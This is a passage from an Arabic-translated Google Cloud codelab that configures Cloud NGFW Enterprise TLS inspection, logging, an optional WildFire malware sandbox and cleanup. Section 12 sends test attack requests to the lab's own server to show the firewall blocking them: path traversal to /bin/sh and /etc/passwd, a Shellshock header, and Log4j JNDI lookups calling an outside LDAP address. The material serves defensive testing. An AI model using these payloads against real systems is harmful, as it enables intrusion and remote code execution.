curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
اضبط المتغيّر على عنوان IP الخاص بالخادم من قبل:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
أرسِل نماذج طلبات بروتوكول أمان طبقة النقل (TLS) إلى الخادم:
curl https://$target_privateip --max-time 2
الناتج المتوقَّع:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
لماذا تعذّر تنفيذ هذا الطلب؟ ويرجع ذلك إلى أنّ جدار الحماية يتلقّى شهادة من الخادم غير موثوق بها. وفي هذه الحالة، سيتم إرسال شهادة موقَّعة ذاتيًا إلى العميل. نحتاج إلى إضافة شهادة مرجع التصديق كجزء من إعدادات الثقة لتفعيل الثقة.
ارجع إلى Cloud Shell.
11. ضبط إعدادات الثقة
احصل على شهادة CA الجذر واضبطها كمتغيّر بالتنسيق المناسب.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
اضبط ملف YAML الخاص بإعدادات الثقة. يحتوي هذا الملف على تفاصيل الثقة، مثل شهادات مرجع التصديق:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
تضمّنت الأوامر أعلاه شهادة CA الجذر كجزء من مخزن شهادات الجذر الموثوق بها لأنّه تم توقيع شهادة الخادم باستخدام هيئة إصدار الشهادات الجذر. هذا يعني أنّ جدار الحماية سيثق في أي شهادات يتلقّاها تم توقيعها من قِبل مرجع التصديق الجذر، بالإضافة إلى مراجع التصديق العلنية إذا تم ضبط excludePublicCaSet على "خطأ" في سياسة بروتوكول أمان طبقة النقل (TLS).
تحقَّق من محتوى إعدادات الثقة.
cat trust_config.yaml
مثال على الناتج:
انتبه جيدًا لمحاذاة المسافة البادئة للشهادة. ويجب أن يتّبع هذا التنسيق بدقة.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
استورِد إعدادات الثقة:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
عدِّل ملف YAML الخاص بسياسة TLS لتضمين إعدادات الثقة:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
استورِد سياسة TLS المعدَّلة:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. التحقّق من فحص بروتوكول أمان طبقة النقل (TLS) بين الشرق والغرب
اتصِل بالعميل مرة أخرى عبر بروتوكول SSH لاختبار حركة البيانات بين الشرق والغرب باستخدام إعدادات الثقة المعدَّلة:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
شغِّل نموذج طلب بروتوكول أمان طبقة النقل (TLS) إلى الخادم:
curl https://$target_privateip --max-time 2
إذا استمر ظهور النتيجة أدناه، يُرجى الانتظار إلى أن يتم نشر التعديلات.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
الناتج المتوقَّع:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
أرسِل زيارات اختبارية ضارة إلى الخادم:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
الناتج المتوقَّع:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية على حركة البيانات بين الشرق والغرب.
13. التسجيل
انتقِل إلى "التسجيل" (Logging) > "مستكشف السجلّات" (Logs Explorer) من خلال Cloud Console، وأدخِل الفلتر أدناه وابحث في السجلّات. استبدِل [PROJECT_ID] برقم تعريف مشروعك:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
من المفترض أن تظهر إدخالات سجلّ Cloud NGFW Enterprise على النحو التالي:

وسِّع إدخالات السجلّ ولاحظ أنّه تم تحديد الهجمات المُرسَلة من الجهاز الافتراضي للعميل إلى الخادم وحظرها (ثغرة أمنية في تنفيذ الرموز البرمجية عن بُعد في Apache Log4j كما هو موضّح في لقطة الشاشة أدناه).

لقد نشرت بنجاح Cloud NGFW Enterprise مع ميزة "فحص بروتوكول أمان طبقة النقل (TLS)" لحظر الطلبات الضارة.
انتقِل إلى القسم التالي لضبط وضع الحماية المتقدّم من البرامج الضارة (WildFire) والتحقّق منه اختياريًا، أو انتقِل إلى خطوات التنظيف.
14. [اختياري] ضبط Advanced Malware Sandbox (WildFire)
تعمل ميزة "وضع الحماية المتقدّم من البرامج الضارة" (WildFire) على توسيع نطاق ميزة "منع التهديدات" في Cloud NGFW Enterprise من خلال فحص الملفات أثناء نقلها وإرسال الملفات غير المعروفة إلى وضع حماية مستنِد إلى السحابة الإلكترونية (مستنِد إلى Palo Alto Networks Advanced WildFire) لإجراء تحليل سلوكي عميق.
قبول اتفاقية ترخيص المستخدم النهائي (EULA) لـ Advanced Malware Sandbox
قبل تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية، عليك مراجعة "اتفاقية ترخيص المستخدم النهائي" (EULA) وقبولها لمرة واحدة في مشروع الفوترة ($billing_project). لا يمكن قبول اتفاقية ترخيص المستخدم النهائي إلا في Google Cloud Console: انتقِل إلى أمان الشبكة > نقاط نهاية جدار الحماية، وعدِّل نقطة النهاية $prefix-$zone، واختَر تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" (WildFire) ضِمن الإعدادات المتقدّمة، ثم انقر على موافقة ومتابعة.
تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية
تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" في نقطة نهاية جدار الحماية الحالية في "$prefix-$zone" باستخدام "gcloud network-security firewall-endpoints update":
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
تأكَّد من تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" على نقطة نهاية جدار الحماية:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
الناتج المتوقّع (التحقّق من wildfireSettings: enabled: true وstate: ACTIVE):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
إنشاء ملف الأمان الشخصي في WILDFIRE_ANALYSIS وضبطه
أنشئ ملف أمان "وضع الحماية المتقدّم من البرامج الضارة" (WILDFIRE_ANALYSIS) باسم $prefix-sp-wildfire:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
الناتج المتوقَّع:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
بعد ذلك، أضِف قاعدة إرسال غير متزامنة لإرسال ملفات APK في اتجاهَي التحميل والتنزيل (--direction=BOTH):
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
الناتج المتوقَّع:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
افحص ملف أمان WILDFIRE_ANALYSIS الذي تم ضبطه:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
الناتج المتوقَّع:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
تعديل مجموعة الملفات الشخصية للأمان ($prefix-spg)
يجب تحديث "$prefix-spg" لإرفاق "$prefix-sp-wildfire":
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
الناتج المتوقَّع:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
بما أنّ قاعدة سياسة جدار الحماية 900 (EGRESS عبر tcp:443 مع --action=apply_security_profile_group و--tls-inspect) تشير إلى $prefix-spg، فإنّ عمليات تنزيل ملفات HTTPS المشفّرة التي يتم بدؤها من $prefix-$zone-client يتم فك تشفيرها تلقائيًا من خلال فحص بروتوكول أمان طبقة النقل (TLS) وتقييمها من خلال "وضع الحماية المتقدّم من البرامج الضارة" بدون الحاجة إلى إجراء أي تغييرات على قواعد سياسة جدار الحماية.
15. [اختياري] التحقّق من صحة إرسال الملفات إلى "وضع الحماية المتقدّم من البرامج الضارة" والتحليل الجنائي
اختبار الإرسال غير المتزامن إلى وضع الحماية وفلترة أنواع الملفات
اتصِل بالجهاز الافتراضي للعميل ($prefix-$zone-client) من خلال Identity-Aware Proxy (IAP):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
من الجهاز الافتراضي للعميل، نزِّل ملف الاختبار العام APK لـ Palo Alto Networks عبر بروتوكول HTTPS:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
بعد ذلك، نزِّل ملف الاختبار العام ELF لـ Palo Alto Networks عبر بروتوكول HTTPS:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
بما أنّ قاعدة الإرسال في $prefix-sp-wildfire تستهدف ملفات APK (--file-types=APK) فقط، لن يرسل جدار الحماية ملف ELF إلى "مبادرة حماية البرامج الضارة المتقدّمة".
اخرج من وحدة طرفية الجهاز الافتراضي للعميل وارجع إلى Cloud Shell.
التحقّق من WildfireSubmissionLog في Cloud Logging
انتقِل إلى "التسجيل" (Logging) > "مستكشف السجلّات" (Logs Explorer) من خلال Cloud Console، وأدخِل الفلتر أدناه وابحث في السجلّات. استبدِل [PROJECT_ID] برقم تعريف مشروعك:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
بعد اكتمال تحليل وضع الحماية (عادةً في غضون بضع دقائق)، يظهر إدخال WildfireSubmissionLog لعملية تنزيل ملف APK، في حين لا يتم إنشاء سجلّ إرسال لعملية تنزيل ملف ELF (إذا لم يظهر أي إدخال في السجلّ بعد عدة دقائق، يُرجى الانتظار حتى تكتمل نافذة نشر "مجموعة الملفات الشخصية للأمان" التي تبلغ مدتها 15 دقيقة وإعادة تشغيل عملية تنزيل curl). وسِّع الإدخال في السجلّ ولاحظ أنّ حمولة JSON الخاصة به تشبه ما يلي:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
يُرجى ملاحظة الحقول الرئيسية في wildfireDetails:
- يؤكّد كل من "
fileType: "APK"" و"subtype: "WILDFIRE"" تحليل وضع الحماية غير المتزامن لعملية نقل "APK". -
fileهو اسم الملف الذي يوفّره الخادم (wildfire-test-apk-file.apk)، وقد يختلف عن اسم الملف المحلي المستخدَم معcurl -o. - يحدّد
hashملخّص SHA-256 الفريد لعينة الاختبار. - يتم تحديد
verdictوseverityمن خلال تحليل وضع الحماية. - يوفّر
reportUriوsampleUriروابط مباشرة لاسترداد تقرير التحليل الديناميكي والعينة المُرسَلة.
عرض الملفات المُرسَلة وتنزيل ملفات الأدلة الجنائية
انتقِل إلى "أمان الشبكة" (Network Security) > "سجلّات NGFW Enterprise" (NGFW Enterprise logs) > "عمليات إرسال البرامج الضارة المتقدّمة إلى وضع الحماية" (Advanced malware sandbox submissions) من خلال Cloud Console واختَر مشروعك. انقر على الإدخال wildfire-test-apk-file.apk لعرض تفاصيل الإرسال، بما في ذلك تجزئة SHA-256 للملف والقرار ونقطة نهاية جدار الحماية. من مزيد من الإجراءات لعملية الإرسال، يمكنك اختيار تنزيل تقرير التحليل لتنزيل تقرير التحليل الديناميكي بتنسيق PDF، أو تنزيل عيّنة من البرامج الضارة لتنزيل الملف الذي تم إرساله.
بدلاً من ذلك، يمكنك تنزيل تقرير التحليل والعينة من Cloud Shell باستخدام القيمتَين reportUri وsampleUri من الإدخال WildfireSubmissionLog:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. خطوات إعادة الضبط
تنظيف الإعداد الأساسي
أزِل النُسخ:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
اتّبِع الخطوات التالية في حال تغيير دورَي tagAdmin وtagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
أزِل مفتاح العلامة وقيمها:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
أزِل سياسة Cloud Firewall Network Policy والربط:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
احذف Cloud Router وCloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
احذف عناوين IP المحجوزة:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
تنظيف Cloud Firewall SPG وAssociation وTLS
احذف مجموعة ملفات الأمان الشخصية وملفات الأمان الشخصية بهذا الترتيب (إذا أكملت قسم "وضع الحماية المتقدّم من البرامج الضارة" الاختياري، نفِّذ أيضًا الأمر لحذف $prefix-sp-wildfire بعد حذف $prefix-spg):
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
احذف ارتباط نقطة نهاية Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
احذف نقطة نهاية Cloud Firewall، وقد يستغرق ذلك حوالي 20 دقيقة:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
اختياريًا، تأكَّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر التالي:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
يجب أن تظهر حالة نقطة النهاية على النحو التالي:
STATE: DELETING
عند اكتمال العملية، لن تظهر نقطة النهاية في القائمة.
احذف سياسة TLS وإعدادات الثقة بهذا الترتيب:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
أوقِف واحذف مرجع التصديق الجذري ومجموعة مراجع التصديق:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
تنظيف الشبكة الفرعية وشبكة VPC
أخيرًا، احذف الشبكة الفرعية وشبكة VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. تهانينا!
تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز: Cloud NGFW Enterprise لفحص بروتوكول أمان طبقة النقل (TLS) بين الأجهزة في الشبكة نفسها وبين الأجهزة في الشبكة والإنترنت.